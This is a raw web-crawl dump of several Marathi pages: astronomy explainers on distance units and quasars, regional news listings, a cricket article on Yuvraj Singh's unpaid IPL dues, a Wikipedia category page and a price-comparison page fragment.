ठिकाणी जाऊन मोजणे सहज शक्य होते, परंतू आकाराने मोठ्या आणि पृथ्वीपासून दूर असलेल्या गोष्टी मोजणे तितकेसे सोप्पे नाही. त्यासाठी त्यानुसार अंतर अथवा आकार मोजण्याच्या पद्धती बदलतात.\nपृथ्वीपासून एखादे जवळचे म्हणजेच पृथ्वीच्या चंद्राचे अंतर मोजायचे झाल्यास ते किलोमीटरमध्ये साधारण ३,८४,००० कि.मी. इतके होते. परंतू नंतर त्यापूढील अंतर प्रचंड मोठी असल्याने ती किलोमीटरमध्ये मोजणे शक्य होत नाही. जसे पृथ्वीचे सूर्यापासूनचे अंतर साधारण १४,९५,९८,००० किलोमीटर इतके होते. अशी मोठी अंतरे किलोमीटरमध्ये मोजणे शक्य नसल्याने त्यासाठी 'खगोलीय एकक' (Astronomical Unit - A.U.) ही पद्धती वापरतात.\nसूर्य-पृथ्वी अंतर १ A.U. म्हणजेच खगोलीय एकक असे मोजले जाते म्हणजेच १ A.U. म्हणजेच खगोलीय एकक = १४,९५,९८,००० किलोमीटर इतके होते.\nपरंतू नंतर त्यापूढे खगोलीय वस्तूंची अंतरे इतकी जास्त आहेत की पूढे ती खगोलीय एककामध्ये मोजणे देखिल शक्य होत नाही त्यासाठी 'प्रकाश वर्ष' (Light Year) ही पद्धती वापरतात.\n'प्रकाश' ठराविक काळामध्ये किती अंतर पार करतो यावरुन हे अंतर मोजले जाते. प्रकाशाचा वेग प्रचंड आहे.\nएका सेकंदामध्ये प्रकाश २,९९,७९२.४५८ कि.मी. इतके अंतर पार पाडतो.\nएका मिनिटामध्ये प्रकाश १,७९,८७,५४७.४८ कि.मी. इतके अंतर पार पाडतो.\nएका तासामध्ये प्रकाश १,०७,९२,५२,८४८.८ कि.मी. इतके अंतर पार पाडतो.\nएका दिवसामध्ये प्रकाश २५,९०,२०,६८,३७१.२ कि.मी. इतके अंतर पार पाडतो.\nएका वर्षामध्ये प्रकाश ९४,६०,००,००,००,००० कि.मी. (९.४६०५२८४ x १०१२) इतके अंतर पार पाडतो.\nचंद्र-पृथ्वी अंतर ३,८४,००० कि.मी. इतके आहे तर प्रकाश देखिल एका सेकंदामध्ये साधारण तितकेच अंतर पार करतो. तर सूर्यापासून निघालेला प्रकाश पृथ्वीपर्यंत पोहोचण्यासाठी ८.३ मिनिटे लागतात.\n१ A.U. म्हणजेच खगोलीय एकक = ८.३ प्रकाश मिनिटे\nसूर्यानंतर पृथ्वीपासून जवळ असलेल्या नरतुरंग तारकासमुहातील 'मित्र' (Alpha Centauri) तार्‍याचे अंतर आपल्यापासून ४ प्रकाशवर्षे इतके आहे. म्हणजेच प्रकाशाला प्रती सेकंद २,९९,७९२.४५८ कि.मी. या वेगाने प्रवास करीत 'मित्र' तार्‍यापासून पृथ्वीपर्यंत पोहोचण्यासाठी ४.४ वर्षे लागतात.\nसूर्यमाला असलेल्या आपल्या आकाशगंगेचा आकार इतका प्रचंड आहे की प्रकाशाला आकाशगंगेच्या एका टोकापासून दुसर्‍या टोकापर्यंत पोहोचण्यासाठी १ लाख वर्षे लागतात. तर आपल्या आकाशगंगेच्या शेजारची आकाशगंगा असलेल्या 'देवयानी आकाशगंगेपासून' निघालेल्या प्रकाशाला आपल्यापर्यंत पोहोचण्यासाठी जवळपास २२ लाख प्रकाशवर्षे लागतात.\nखगोलीय अंतर मोजण्यासाठी 'पराशर' म्हणजेच पार्सेक (Parsec) हि देखिल पद्धती वापरली जाते. अत्यंत दूरवरील म्हणजेच आकाशगंगेबाहेरील गोष्टींची अंतरे मोजण्यासाठी 'पराशर' म्हणजेच पार्सेक पद्धती वापरली जाते.\n१ प्रकाशवर्ष म्हणजेच ९४,६०,००,००,००,००० किलोमीटर\n१ प्रकाशवर्ष म्हणजेच ६३२३६.१९४ खगोलीय एकक (A.U.)\n१ प्रकाशवर्ष म्हणजेच ०.३०६५९५१६ पार्सेक\n१ पार्सेक म्हणजेच ३.२६१६३ प्रकाशवर्ष\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00298.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://avakashvedh.com/antaraal/quasar.html", "date_download": "2018-09-25T17:17:15Z", "digest": "sha1:HJ6CRGSJJY5YAA6EELUF7EXS65PHO6SE", "length": 9233, "nlines": 125, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राद्वारे वापरल्या जाणार्‍या दुर्बिणीद्वारे प्रकाशमान तारे, तेजोमेघ अथवा आकाशगंगांना पाहता येते. परंतु मानवी डोळ्यांना न दिसणार्‍या रेडिओ लहरी ग्रहण करण्यासाठी रेडिओ टेलेस्कोप (दुर्बीण) वापरली जाते. ज्याद्वारे एखाद्या अवकाशीय गोष्टी मधून उत्सर्जित होणार्‍या लहरींचा अभ्यास केला जातो.\nअवकाशामध्ये अशी अनेक ठिकाणे शोधण्यात आली आहेत. जेथून फक्त रेडिओ लहरी येतात परंतु प्रकाश नसल्याने त्या डोळ्यांना दुर्बिणीद्वारे दिसत नाहीत. अशा गोष्टींना 'क्वेसार' ( Qausi-Stellar Radio Sources (Quasar)) असे म्हणतात.\nअधिक संशोधनानंतर असे आढळून आले की हे रेडिओ स्रोत असलेले हे तारे आपल्या आकाशगंगेतील नसून ते इतके दूर आहेत जेथे फक्त अत्यंत दूरवरच्या आकाशगंगाच आढळतात. आतापर्यंतच्या संशोधनामुळे असे आढळून आले आहे की हे क्वेसार एखाद्या महाकाय आकाशगंगेच्यामध्ये असून बहुदा त्या आकाशगंगेमध्ये असलेल्या महाराक्षसी कृष्णविवरामुळे तेथे मोठ्याप्रमाणात चुंबकीयबदल होत असतात.\nया क्वेसारांची निर्मिती त्या आकाशगंगांच्या निर्मितीच्या सुरवातीच्या टप्प्यामध्येच झालेली आढळते. असे असले तरी क्वेसारची निर्मिती कशी होते याचा अजून शोध लागलेला नाही.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00298.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%B8%E0%A5%80%E0%A4%AC%E0%A5%80%E0%A4%8F%E0%A4%B8%E0%A4%88-%E0%A4%A6%E0%A4%B9%E0%A4%BE%E0%A4%B5%E0%A5%80%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%AA%E0%A4%B0%E0%A5%80%E0%A4%95%E0%A5%8D%E0%A4%B7/", "date_download": "2018-09-25T17:05:16Z", "digest": "sha1:EH6QKJOP4UHZHK5PBKKPMKOSLPV5GVDG", "length": 7312, "nlines": 139, "source_domain": "www.dainikprabhat.com", "title": "सीबीएसई दहावीच्या परीक्षेचा निकाल जाहीर | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nसीबीएसई दहावीच्या परीक्षेचा निकाल जाहीर\nनवी दिल्ली : केंद्रीय माध्यमिक शिक्षण मंडळ अर्थात सेंट्रल बोर्ड ऑफ सेकंडरी एज्युकेशनतर्फे (सीबीएसई) घेण्यात आलेल्या दहावीच्या परीक्षेचा आज निकाल जाहीर झाला. देशभरातून 16.88 लाख विद्यार्थ्यांनी ही परीक्षा दिली होती.\nसीबीएसई दहावीचा निकाल cbseresults.nic.in आणि cbse.nic.in या वेबसाइटवर पाहायला मिळणार आहे. यंदाच्या वर्षी 16.88 लाख विद्यार्थ्यांनी दहावीची परीक्षा दिली होती. सीबीएसईच्या 2018च्या (दहावी आणि बारावीच्या संयुक्त) परीक्षेला जगभरातून 28 लाख विद्यार्थी बसले होते.\nगेल्या काही दिवसांपूर्वी केंद्रीय माध्यमिक शिक्षण मंडळा(CBSE )चे दहावी आणि बारावीचे पेपर फुटले होते. त्यामुळे त्या पेपर फुटलेल्या विषयांच्या फेरपरीक्षा घेण्यात आल्या होत्या. त्याच वेळी दिल्ली व हरियाणा वगळता इतर राज्यातील दहावीच्या मुलांना दिलासा देण्यात आला होता. बारावीच्या अर्थशास्त्राच्या पेपरची 25 एप्रिलला पुनर्परीक्षा घेण्यात आली होती. परंतु दहावीच्या गणिताच्या पेपरची फक्त हरियाणा आणि दिल्लीतच फेरपरीक्षा झाली होती.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleपंतप्रधान नरेंद्र मोदींचा पहिला इंडोनेशिया दौरा\nNext articleमुस्लीम व्यक्‍तीच्या मृत्युपत्राविरुद्ध तक्रार\nमोदींनी विमानातून काढलेले ‘फोटो’ पाहिलेत का\nआधी शेतकऱ्यांचे प्रश्न सोडवा ; जपानने मोदींचा ड्रीम प्रोजेक्ट रोखला\nजम्मू काश्मीर – बारामुल्लामध्ये चकमक, दोन दहशतवादी ठार\nपंतप्रधान नरेंद्र मोदी यांना शांततेचा नोबेल मिळणार \nराहुल गांधी चोर असून त्यांचा संपूर्ण परिवार कमिशनवर जिवंत – रविशंकर प्रसाद\nभाजपच्या ‘कार्यकर्ता महाकुंभ’ला दिग्गज नेत्यांची हजेरी ; काँग्रेसवर हल्लाबोल\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00298.warc.wet.gz", "language": "mr", "language_score": 0.84, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/mumbai/page/9", "date_download": "2018-09-25T17:15:16Z", "digest": "sha1:3JZXWAOOBIFJRU3QREKEEI7ZXYAMFW7X", "length": 9271, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "मुंबई Archives - Page 9 of 251 - तरुण भारत | तरुण भारत", "raw_content": "\nखेडचे शिवसेना आमदार सुरेश गोरे यांच्यावर गुन्हा\nऑनलाईन टीम / पुणे : पुण्यातील खेडचे शिवसेना आमदार सुरेश गोरे यांच्यावर गुन्हा दाखल करण्यात आला आहे. अवैध प्रवासी वाहतूक करणाऱया रिक्षाची रविवारी रात्री आठच्या सुमारास आमदार गोरे यांच्यासह 10 ते 11 कार्यकर्त्यांनी तोडफोड केली. चाकण पोलिस स्टेशनमध्ये त्यांच्याविरोधात गुह्याची नोंद झाली आहे. पुणे-नाशिक महामार्गावर भोसरी ते चाकणदरम्यान मागील महिनाभरापासून होत असलेली वाहतूक कोंडी काही केल्या कमी होत नव्हती. ...Full Article\nमुंबईतल्या ट्राफिकने घेतला रूग्णाचा जीव\nऑनलाईन टीम / मुंबई : वाढलेली वाहनांची संख्या आणि मेट्रोसारख्या प्रकल्पाच्या कामांमुळे गेल्या काही काळापासून मुंबईतील ट्रफिकची समस्या गंभीर झाली आहे. वाहतूक कोंडीमुळे वाहनांचा तासनतास खोळंबा होत असल्याने सर्वसामान्य ...Full Article\nशॉक लागुन विद्यार्थ्याचा मृत्यू ; संतप्त जमावाची जिल्हाधिकाऱयांवर दगडफेक\nऑनलाइन टीम / नंदुरबार : तळोदा तालुक्यातील (नंदुरबार) सलसाडी शासकीय आश्रम शाळेत सचिन चंदसिंग भोरे या इयत्ता 5 वीत शिकणाऱया विद्यार्थ्याचा विजेच्या झटक्याने सोमवारी मृत्यु झाला. या घटनेची पाहणी ...Full Article\nस्फोटक प्रकरण ; जालन्यातील फार्म हाऊसवर एटीएसची झडती\nऑनलाईन टीम / जालना : नालासोपाऱयातील स्फोटकांची जप्ती आणि वैभव राऊतसह त्याच्या सहकाऱयांच्या अटकेनंतर दहशतवाद विरोधी पथकाने त्यांच्य रॅकेटची पाळेमुळे सुरूवात केलेली आहे. श्रीकांन पांगारकरकडून मिळालेल्या माहिती आधारवर आज ...Full Article\nआर. के. स्टुडिओ होणार इतिहासजमा\nऑनलाईन टीम / मुंबई : हिंदी चित्रपटसृष्टीतील अनेक क्लासिक चित्रपटांचा साक्षीदार राहिलेला आर. के. स्टुडिओच्या आता केवळ स्मृती उरणार. कपूर भावंडांनी अनेक अजरामर चित्रपटाची निर्मिती करणाऱ्या या स्टुडिओला विकण्याचा निर्णय घेतला ...Full Article\nनालासोपारा स्फोटकांप्रकरणी मुंबईतून आणखी एक अटकेत\nराज्य एटीएसची घाटकोपरमध्ये कारवाई प्रतिनिधी / मुंबई नालासोपारा येथील स्फोटकांप्रकरणी राज्य दहशतवादविरोधी पथकाची छापेमार आणि अटकसत्र अद्याप सुरु असून याप्रकरणी आणखी एकाला एटीएसने घाटकोपरमधून अटक केली आहे. अविनाश पवार ...Full Article\nमोफत द्यायचे असेल तर रेशन ही द्या: उद्धव ठाकरे\nऑनलाइन टीम / मुंबई : इंटरनेट मोफत वाटता, मग रेशनही फुकट वाटा मोफतच द्यायचे असेल तर 50 वर्षाचा करार करून मोफत सेवा वाटा आहे का हिम्मत असा सवाल शिवसेना ...Full Article\nभाजप खासदाराच्या कारच्या धडकेत महिलेचा मृत्यू\nऑनलाईन टीम / मुंबई : भारतीय जनता पक्षाचे राज्यसभेतील खासदार प्रवक्ते जी व्ही एल नरसिंह राव यांच्या कारने दोन पादचाऱयांना धडक दिली. या अपघातात एका महिलेचा मृत्यू झाला असून ...Full Article\nरायगडमध्ये शिवशाही बसचा अपघात, 31प्रवासी जखमी\nऑनलाईन टीम / मुंबई : रायगड जिलह्यातील लोणेरेजवळ राज्य परिवहन मंडळाच्या शिवशाही बस उलटून झालेल्या अपघतात 31 प्रवासी जखमी झाले आहेत. जखमी प्रवाशांवर माणगावच्या उपजिल्हा रुग्णालयात उपचार सुरु आहेत. ...Full Article\nखड्डे दाखल्याबद्दल आदित्य ठाकरेंना हजार रूपये पाठवा ; धनंजय मुंडे\nऑनलाईन टीम / मुंबई : खड्डा दाखवा बक्षीस मिळवा योजनेतील हजार रूपये आता मित्रपक्ष शिवसेना आणि युवासेना प्रमुख आदित्य ठाकरे यांना पाठवा, असा टोला विधानपरिषदेतील विरोधी पक्षनेते धनंजय मुंडे ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00298.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/ratnagiri/page/3", "date_download": "2018-09-25T17:15:31Z", "digest": "sha1:AOWH3R3GG3T7YKXMNF67ASJWKJ53YY4N", "length": 10048, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "रत्नागिरी Archives - Page 3 of 176 - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » रत्नागिरी\nरत्नागिरी जिल्हा कारागृहाला ‘इलेक्ट्रीक फेंन्सींग’\nसुरक्षेत होणार आणखी मजबूत 440 वॅट क्षमतेचे कुंपण नाविन्यपूर्ण योजनेतून 5 लाख निधी जान्हवी पाटील /रत्नागिरी रत्नागिरी जिल्हा विशेष कारागृहाची सुरक्षा अधिक भक्कम झाली असून कारागृहाच्या संरक्षक भिंतेवर चारही बाजूंनी इलेक्ट्रीक फेन्सींग (विद्युत कुंपण) करण्यात आले आहे. पालकमंत्री रविंद्र वायकर यांनी जिल्हा नियोजन नाविन्यपूर्ण योजनेतून 5 लाखाचा निधी यासाठी दिला असून मुख्यतट भिंतीवर विद्युत पेंसिंगचे निम्मे काम झाले आहे. ...Full Article\nमुंबई विद्यापीठ नाटय़ विभागात ‘डीबीजे’ चॅम्पियन\nयुवा महोत्सवावर ठसा हिंदी एकांकिकात- मूक अभिनयात सुवर्ण, मराठी एकांकिकेत कास्यपदक प्रतिनिधी /चिपळूण मुंबई विद्यापीठाच्या 51 व्या आंतर महाविद्यालयीन युवा महोत्सवात डीबीजे महाविद्यालयाने हिंदी एकांकिका व मूक अभिनय ...Full Article\nजिल्हाभर दहीहंडीचा उत्साह मानाच्या हंडय़ा फोडण्यासाठी चुरस प्रतिनिधी /रत्नागिरी बोल बजरंग बली की जय ….‘गोविंदा आला रे आला’… ‘गोविंदा रे गोपाळा’ च्या जयघोषात जिल्हय़ाच्या विविध भागात ढाक्कुमाकुमच्या तालावर ठेका ...Full Article\nगणपतीपुळेत मच्छीमार बोट बुडाली\nवादळी वारे व लाटांचा तडाखा खलाशांना वाचवण्यात यश सुमारे 4 ते 5 लाखांचे मोठे नुकसान वार्ताहर /गणपतीपुळे वेत्ये समुद्रामध्ये मच्छीमारी नौकेला जलसमाधी मिळाल्याची घटना ताजी असताना गुरूवारी गणपतीपुळे येथे ...Full Article\nमॉर्निंगवॉकद्वारे जिल्हाधिकाऱयांनी घेतला शहराचा आढावा\nजिल्हाधिकारी सुनील चव्हाण यांची सरप्राईज व्हिजीट विना सुरक्षारक्षक तासभर चालत केली पाहणी रिमांड होमच्या मुलांसोबत केला नाश्ता प्रतिनिधी /रत्नागिरी रत्नागिरीचे नूतन जिल्हाधिकारी सुनील चव्हाण यांनी गुरुवारी मॉर्निंग वॉकच्यानिमित्ताने शहराची ...Full Article\nमाजी पोलीस अधिकाऱयाचा मार्गताम्हानेत बंगला फोडला\nव्हेंटीलेटर फोडून चोरटय़ांचा शिरकाव, मात्र हाती काहीच लागले नाही वार्ताहर /मार्गताम्हाने एका माजी पोलीस अधिकाऱयाचा बंगला फोडल्याण्याचा खळबळजनक प्रकार चिपळूण तालुक्यातील मार्गताम्हाने येथे घडला आहे. बंगल्याच्या व्हेंटीलेटरची काच फोडून ...Full Article\nमालगुंडची सुनबाई देतेय भारतीय संघाला तंदुरूस्तीचे धडे\nमहिला क्रिकेट संघाच्या स्पोर्ट थेरपीस्ट रश्मी पवार यांनी ‘तरुण भारत’शी साधला संवाद वैभव पवार /गणपतीपुळे मालगुंड गावच्या सुनबाई व नायरीच्या (संगमेश्वर) सुकन्या रश्मी पवार या क्रिकेट जगतात दबदबा निर्माण ...Full Article\nपक्षीय आंदोलनापासून प्रकल्पग्रस्तांची अलिप्तता\nरिफायनरी विरोधी स्थानिक व मुंबई समितीचा निर्णय सर्वपक्षीय आंदोलनात मात्र सहभागी होणार सेनेच्या मोर्चात सहभागी न होण्याचे प्रकल्पग्रस्तांना आवाहन प्रतिनिधी /राजापूर प्रस्तावित रिफायनरी प्रकल्पाविरोधात कुठल्याही राजकीय पक्षाने पुकारलेल्या आंदोलनात ...Full Article\nसावंतदेसाई अखेर सक्तीच्या रजेवर\nआंबेनेळी दुर्घटना प्रकरण लोगो मृतांच्या नातेवाईकांच्या आक्रमक पवित्र्यानंतर निर्णय नातेवाईकांचा विद्यापीठावर मोर्चा प्रतिनिधी /दापोली आंबेनळी घाट दुर्घटनेतील मृतांच्या संतप्त नातेवाईकांनी बुधवारी विद्यापीठावर मोर्चा काढून अपघातातून बचावलेल्या प्रकाश सावंत-देसाई यांच्या ...Full Article\nभाटय़े किनारी ‘हॉकबील’ जातीचे मृत कासव\nमंगळवारी सकाळची घटना शेवाळासोबत प्लास्टीक खाल्ल्याने मृत्यू झाल्याचा मत्स्यतज्ञांचा अंदाज प्र†ितनिधी /रत्नागिरी रत्नागिरीतील भाटय़े समुद्र किनारी ‘हॉकबील’ जातीचं एक कासव मृतावस्थेत मंगळवारी मिळून आले. समुद्रातील शैवाळ खाताना त्यानं प्लास्टीक ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00298.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://mahasports.co.in/yuvraj-chasing-bcci-for-rs-3-cr-ipl-dues/", "date_download": "2018-09-25T17:36:23Z", "digest": "sha1:VEHUPMX2UL6537TUC2DUBIAGA33ESFCF", "length": 7973, "nlines": 62, "source_domain": "mahasports.co.in", "title": "युवराज सिंग मारतोय बीसीसीआयच्या ऑफिसच्या चकरा ! -", "raw_content": "\nयुवराज सिंग मारतोय बीसीसीआयच्या ऑफिसच्या चकरा \nयुवराज सिंग मारतोय बीसीसीआयच्या ऑफिसच्या चकरा \nसूत्रांनी सांगितल्या प्रमाणे युवराजला जर हे पैसे लवकर मिळाले नाही तर तो सर्वोच न्यायालयात दाद मागणार आहे.\nभारताचा स्टार फलंदाज युवराज सिंगने काही काळ आधी एक जाहिरात केली होती ज्यात तो असे म्हणतो ” जो पर्यंत माझी बॅट चालत आहे तो पर्यंत मी चालतोय, एकदा का माझी बॅट चालायची थांबली की …” या जाहिराती प्रमाणेच काहीशी वेळ आता भारताच्या या २०११ विश्वचषकाच्या मालिकावीरावर आली आहे.\nगेले १८ महिने झाले युवराज सिंग बीसीसीआयच्या ऑफिसच्या चकरा मारत आहे. बीसीसीआयने युवराज सिंगला ३ कोटी रुपये देणे आहे. फक्त युवराजच नाही तर युवराज सिंगची आईसुद्धा बीसीसीआयच्या अधिकाऱ्यांना फोन करत आहे.\nयुवराज सिंग हे जे पैसे बीसीसीआयकडे मागत आहे ते म्हणजे भारतासाठी खेळताना युवराजला दुखापतग्रस्त झाली आणि त्यामुळे त्याला २०१७ च्या आयपीएलचे काही सामने खेळता आले नाही. बीसीसीआयच्या पॉलिसीनुसार हे पैसे मागणे योग्य आहे. युवराज सिंगने सनरायाझर्स हेंद्राबाद संघाकडून ७ सामने खेळले नाहीत.\nकाही मीडिया रिपोर्ट्सप्रमाणे युवराजला जर हे पैसे लवकर मिळाले नाही तर तो सर्वोच न्यायालयात दाद मागणार आहे.\nयुवराजने भारतीय क्रिकेट नियामक मंडळाच्या पदाधिकार्यांना अनेक पत्रे लिहिली आहेत आणि त्याची आईही युवराजच्या वतीने त्यांना कॉल करीत आहे. युवराजचा सनरायझर्स संघातील सहकारी आशिष नेहरा ही पाच सामन्यांना मुकला होता पण त्याला त्याचे पैसे मिळाले आहे. परंतु आश्चर्याची गोष्ट म्हणजे युवराजला अजूनही मोबदला मिळाला नाही.\nअसे बीसीसीआयचा एक पदाधिकारी नाव न सांगण्याच्या अटीवर म्हणाला.\nअखेर रविंद्र जडेजाने तो सचिन तेंडुलकरचा विक्रम मोडलाच\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00298.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%B5%E0%A4%B0%E0%A5%8D%E0%A4%97:%E0%A4%87.%E0%A4%B8._%E0%A5%A7%E0%A5%AE%E0%A5%AB%E0%A5%AD", "date_download": "2018-09-25T17:23:54Z", "digest": "sha1:KMALJCPAFQNA6KCRKXQJILTWVRYKOJYQ", "length": 4994, "nlines": 188, "source_domain": "mr.wikipedia.org", "title": "वर्ग:इ.स. १८५७ - विकिपीडिया", "raw_content": "\nएकूण ३ उपवर्गांपैकी या वर्गात खालील ३ उपवर्ग आहेत.\n► इ.स. १८५७ मधील जन्म‎ (१८ प)\n► इ.स. १८५७ मधील मृत्यू‎ (५ प)\n► इ.स. १८५७ मधील निर्मिती‎ (१ प)\n\"इ.स. १८५७\" वर्गातील लेख\nया वर्गात फक्त खालील लेख आहे.\nइ.स.च्या १८५० च्या दशकातील वर्षे\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल ५ मार्च २०१५ रोजी ००:०७ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00298.warc.wet.gz", "language": "mr", "language_score": 0.87, "bucket": "all"} {"url": "https://www.pricedekho.com/mr/scrubs/cheap-scrubs-price-list.html", "date_download": "2018-09-25T17:19:19Z", "digest": "sha1:GGV76VCPSIS6ZI3LICNDESB7Z5VO36FE", "length": 15919, "nlines": 425, "source_domain": "www.pricedekho.com", "title": "स्वस्त India मध्ये सकरुबस | PriceDekho.com", "raw_content": "कूपन, दर cashback ऑफर\nलॅपटॉप, पीसी च्या, गेमिंग आणि अॅक्सेसरीज\nकॅमेरा, लेन्स आणि अॅक्सेसरीज\nटीव्ही आणि मनोरंजन साधने\nघर & स्वयंपाकघर उपकरणे\nगृह सजावट, स्वयंपाकघर आणि फर्निचर\nलहान मुले आणि बेबी उत्पादने\nखेळ, फिटनेस आणि आरोग्य\nपुस्तके, स्टेशनरी, भेटी आणि मीडिया\nभारतातील टॉप 10 मोबाईल\nमागचा 